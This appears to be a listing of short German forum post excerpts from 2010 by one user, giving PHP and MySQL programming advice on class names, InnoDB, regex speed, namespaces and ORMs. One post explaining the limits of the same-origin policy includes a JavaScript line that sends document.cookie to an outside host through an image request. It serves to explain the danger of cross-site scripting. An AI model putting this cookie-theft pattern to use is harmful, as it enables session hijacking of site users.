-
Forum: Programmieren allgemein
by alcaeus,
9. Aug 2010
Das? Dafuer brauchst du solches Konstantengedoens statt Klassennamen als String anzugeben? Wie vermutet liegt der Fehler oder das Problem nichtmal ansatzweise bei PHP sondern in der Architektur der Anwendung. Ohne den Code zu kennen: du uebergibst der Select-Funktion die Parameter fuer die Prepared Statements und den Namen der Klasse von dem die Objekte beim Zurueckgeben via FetchRow() sein...
-
Forum: Programmieren allgemein
by alcaeus,
9. Aug 2010
Erklaer mal dein Problem in Ruhe von Anfang an, ohne komischen WTF-Code. Ich hab absolut nicht verstanden was du ueberhaupt willst.
Kurzer Code zur Erklaerung:
class A
{
public function foo()
{
echo __CLASS__;
}
}
-
Forum: Programmieren allgemein
by alcaeus,
9. Aug 2010
Was heisst hier "funktioniert nicht"? Versuchs mal mit get_class($meinObjekt);
Und trotzdem, was ist das Problem mit if ($meinObjekt instanceof MeineKlasse)
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
8. Aug 2010
Falsch. Ich erwaehne hier einfach mal get_class(). Alternativ gibts auch instanceof.
Aus gutem Grund. Das was du im angegebenen Code machst ist eine Konstante namens "MeineKlasse" zu verwenden. Es ist einfach: alles was keine Zahl, kein String-Literal, keine Variable ist in diesem Kontext eine Konstante. Insofern hat der Parser auch recht wenn er dir den Code mit der Notice um die Ohren wirft....
-
Forum: Programmieren allgemein
by alcaeus,
20. Jul 2010
Willkommen in der Welt von PHP. Da ist schon mehr unlogisch.
Aber ja, der Aufruf einer Funktion der Parent-Klasse wird mit parent::foo() erledigt. Dies gilt allerdings nur, wenn du foo() ueberschrieben hast und das Original aufrufen willst. Alle anderen Faelle kannst du mit $this->foo() abdecken.
Greetz
alcaeus
PS: ich weiss nicht was passiert wenn du parent::foo() ausserhalb von foo()...
-
Forum: Programmieren allgemein
by alcaeus,
5. Jul 2010
:shock:
:shock:
:shock:
-
Forum: Programmieren allgemein
by alcaeus,
5. Jul 2010
Fuehr nach dem create table mal ein "show innodb status" aus. Da steht dann unter "LATEST FOREIGN KEY ERROR" unter anderem folgendes:
Und ja, verwende InnoDB. Fuer deine Cache-Tabelle kannst MEMORY verwenden, aber beachte dass
Keine TEXT/BLOB-Felder moeglich sind und
Die Daten bei einem Neustart des MySQL-Servers geloescht werden.
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
5. Jul 2010
Moin,
ja, InnoDB ist etwas langsamer als MyISAM. Trotzdem rate ich dir dringendst, InnoDB zu verwenden. Warum?
MyISAM ist nicht transaktionssicher. Da kannst du dir das DBMS gleich sparen.
InnoDB ist eine relationale Engine, d.h. du kannst Beziehungen zwischen Tabellen herstellen. D.h. du kannst z.B. das Loeschen eines Benutzers verhindern, solange noch Records vorhanden sind die sich auf...
-
Forum: Programmieren allgemein
by alcaeus,
4. Jul 2010
*seufz* Leute, es geht hier nicht um gut oder schlecht. Man sollte sich aber ueberlegen, ob man wirklich Regular Expressions einsetzen muss.
@himitsu: dein Vergleich hinkt genauso - mein Beispiel berief sich auf genau den Fall den ich (entweder in diesem Thema oder in einem anderen "Helft mir mit PHP"-Thema) beschrieben hatte.
Im konkreten Fall mussten fuer ein Ticketing-System das...
-
Forum: Programmieren allgemein
by alcaeus,
4. Jul 2010
Boah. Wahnsinn. Himi, sorry, aber manchmal frag ich mich echt ob dir zu helfen ist.
RegExen sind langsam. Das gilt fuer jede Art davon. Ich zeig dir mal einen Performance-Test:
$preg = '#Foobar#i';
$toMatch = 'Foobar';
$sample = 'Foobar';
$num = 100000;
-
Forum: Programmieren allgemein
by alcaeus,
3. Jul 2010
Ich fasse zusammen:
class Foo\Bar {}
gibt
class Foo:Bar {}
gibt
class Foo/Bar {}
gibt
-
Forum: Programmieren allgemein
by alcaeus,
3. Jul 2010
Moin,
mitdenken bitte. Versuch mal folgenden Code auszufuehren (jede Klasse einzeln):
class Foo\Bar { }
class Foo/Bar { }
class Foo:Bar { }
Ersteres ist unter PHP 5.3 eine Namespace-Definition, da ist die Ersetzung echt doof (wobei ich jetzt auch keine Zeit habe zu gucken, was da dem Autoloader uebergeben wird). Alles andere wird dir der Parser wieder rueckwaerts an Kopf werfen,...
-
Forum: Programmieren allgemein
by alcaeus,
2. Jul 2010
Der Vorteil von Doctrine? Nu ja, nehmen wir an du hast eine Tabelle "Student" mit folgenden Spalten: id, lastname, firstname, birthday, matr.
Du hast entsprechend eine Klasse "Student" mit den Properties id, lastname, firstname, birthday, matr. Jedesmal wenn du Daten aus der Datenbank holst, werden automatisch die Objekte erzeugt, so dass du direkt damit arbeiten kannst:
$student =...
-
Forum: Programmieren allgemein
by alcaeus,
1. Jul 2010
Guck dir mal die PDO-Referenz an. Da siehst du was mit Prepared Statements gemeint ist ;)
BTW (auch @Mithrandir): ich kann hier nur die Verwendung eines ORM (wie z.B. Doctrine) empfehlen.
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
30. Jun 2010
Um mal das Ergebnis einer Suche zu zitieren:
(Quelle)
Um das kurz zu beantworten: nein. Dem Himmel (oder der Hoelle, je nachdem woran man lieber glaubt) sei Dank. Ich wuesste auch nicht wozu sowas gut sein sollte.
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
30. Jun 2010
Richtig - die Same-Origin-Policy. Die hat auch ihre Grenzen, und die kann man schnell umgehen:
var foo = new Img(); foo.source='http://foo.baz/'+document.cookie;
Und da geht deine Same-Origin-Policy zur Tuer raus - Bilder sind naemlich vollkommen OK. Kann sein dass manche Heuristiken das mittlerweile abgreifen, da gibts aber noch zig Wege um Content an eine andere Seite zu uebermitteln sobald...
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
Ach, und noch was: ich hab nur kurz ueber die Functions.php5 drueber geguckt, aber die Sicherheitsluecke in Main_Fialize() bei aktiviertem Debug-Mode ist schon schnuckelig. So einfach war es noch nie, HTML-Code in die Seite reinzupruegeln. Cross-Site-Scripting wie man will. Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
Moin,
ich hab grad nochmal nen Blick in den Code geworfen. Nach PHP_Include() habe ich aufgegeben. Hier mal ein paar Punkte dazu:
der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__. Was denn jetzt?
Der $__file-Parameter wird fuer die Fehlerbehandlung verwendet. Wenn du schon angeben willst, wo der Fehler seinen Ursprung hatte, guck dir mal...
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
So umfangreich dass ich es hier nicht posten will. Da geschieht naemlich viel im Hintergrund. Mal ein Beispiel:
du rufst die URL hxxp://foo.bar/user/showprofile/alcaeus auf.
Uebers Routing habe ich folgendes URL-Schema definiert:
user/showprofile/:username
In diesem Fall leitet mich also der Controller ins user-Modul (Definiert durch die Klasse userActions) um und verlangt die Action...
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
*hust* Da geht sie dahin, die Einigkeit. ZF ist nicht langsam - es hat aber einen gewissen Overhead wie jedes andere Full-Stack-Framework auch. Auf normaler Hardware und mit nem Opcode-Cache (aptitude install php-apc) ist die Performance sehr gut. Im Zweifel schicke ich dir mal ein paar Infos zu ZF-Applikationen mit denen ich beruflich zu tun habe. Da aenderst du dann gerne deine Meinung ;)
Um...
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
Kann mich nicht dran erinnern, in letzter Zeit warens dann doch ein paar mehr PHP-Themen als dass ich mir deren Inhalte merken koennte. Darfst aber gerne suchen wenn du magst. *gg*
Ausserdem: du musst nur oefter meine Meinung annehmen, dann sind wir uns auch einig :mrgreen:
Greetz
alcaeus
-
Forum: Programmieren allgemein
by alcaeus,
29. Jun 2010
@Valle: was soll das denn heissen? :P
Ich geb auch noch bisserl Senf dazu, allerdings ohne mir die Muehe gemacht zu haben, den Code anzusehn. Security-Reviews gibts sind dann doch etwas aufwaendiger.
Ein paar allgemeine Kommentare kann ich dir geben:
Valle hat Recht wenn er dir MVC ans Herz legt. Nein, eine Template-Engine macht deinen Code nicht MVC-konform. Ja, ein MVC-Framework hilft dir....